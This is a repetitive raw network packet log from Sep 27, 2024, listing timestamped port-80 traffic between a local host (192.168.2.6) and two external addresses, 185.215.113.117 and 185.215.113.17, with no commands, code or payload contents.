Sep 27, 2024 16:18:29.503736973 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503760099 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503881931 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503931046 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503942966 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503967047 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.503990889 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.503990889 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504002094 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504010916 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504020929 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504030943 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504031897 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504040003 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504059076 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504060030 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504076004 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504100084 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504462957 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504476070 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504487038 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504515886 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504606009 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504616022 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504625082 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504648924 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504663944 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504678965 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504688978 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504698038 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504707098 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504708052 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504718065 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.504722118 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504743099 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.504780054 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.511265993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511281967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511293888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511415005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.511607885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511652946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511663914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511698961 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.511734962 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.511749029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511760950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511771917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511781931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511797905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511801958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.511842966 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.511959076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511975050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.511986971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512001991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.512037992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512057066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.512069941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512082100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.512115002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.512191057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512203932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512214899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512226105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512238026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512254953 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.512304068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.512320995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512331009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512341022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512351990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512368917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.512368917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.512372971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512383938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.512459993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513326883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513366938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513372898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513384104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513407946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513448000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513448954 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513459921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513470888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513494968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513506889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513516903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513526917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513541937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513551950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513561964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513588905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513588905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513588905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513681889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513691902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513703108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513712883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513727903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513739109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513746023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513748884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513760090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513771057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513781071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513792038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513792038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513797045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513808012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513818979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513828993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513838053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513849974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513851881 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513851881 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513853073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513906956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513911963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513921976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513930082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513931990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513942957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513952971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513962984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.513977051 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.513987064 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.514046907 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.514061928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514079094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514092922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514101982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514123917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.514154911 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.514333963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514345884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514359951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514420033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.514420033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.514812946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514839888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514858007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514894009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.514904976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514915943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514928102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514938116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514950037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.514966965 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.514966965 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515003920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515036106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515047073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515055895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515065908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515077114 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515108109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515108109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515147924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515176058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515187025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515197039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515207052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515218019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515228033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515238047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515248060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515258074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515266895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515276909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515289068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515299082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515305042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515305042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515305042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515305042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515336990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515336990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515347958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515357971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515367031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515377998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515400887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515404940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515414000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515424013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515430927 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515434027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515456915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515470028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515480042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515489101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515489101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515489101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515490055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515502930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515512943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515547037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515574932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515858889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515892982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515906096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515918970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515973091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515984058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.515990019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515990973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.515995026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516006947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516017914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516041994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.516041994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.516098022 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.516269922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516307116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516314983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.516318083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516398907 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.516398907 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.516407013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516417980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516428947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516439915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516454935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.516463995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.516484022 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.516501904 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.523485899 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.523508072 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.523516893 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.523559093 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.523569107 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.523578882 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.523616076 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.523631096 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.523649931 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.523756981 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.526488066 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597136974 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597160101 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597177029 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597197056 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597210884 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597225904 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597269058 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597573996 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597584963 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597595930 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597620010 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597637892 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597640038 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597657919 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597676992 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597687006 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597688913 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597712994 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597744942 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597760916 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597771883 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597781897 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597798109 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597812891 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.597924948 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597965002 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.597975016 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598009109 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598046064 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598057032 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598068953 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598110914 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598121881 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598161936 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598184109 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598195076 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598195076 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598220110 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598234892 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598244905 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598254919 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598265886 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598288059 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598300934 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598310947 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598315001 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598351955 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598504066 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598534107 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598545074 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598575115 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598587036 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598601103 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598611116 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598620892 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598637104 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598649025 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598668098 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598802090 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598849058 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598860025 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598885059 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598889112 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598901033 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598911047 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598912001 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.598946095 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.598958015 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.599055052 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.599092007 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.599097967 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.599108934 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.599133968 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.599144936 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.599159956 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.599172115 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.599181890 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.599204063 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.599230051 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.683851004 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.683864117 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.683881044 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.683937073 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.684022903 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.684034109 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.684042931 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.684045076 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:29.684073925 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.684103012 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:29.691782951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.691802025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.691812992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.691852093 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.691873074 CEST	80	49613	185.215.113.17	192.168.2.6
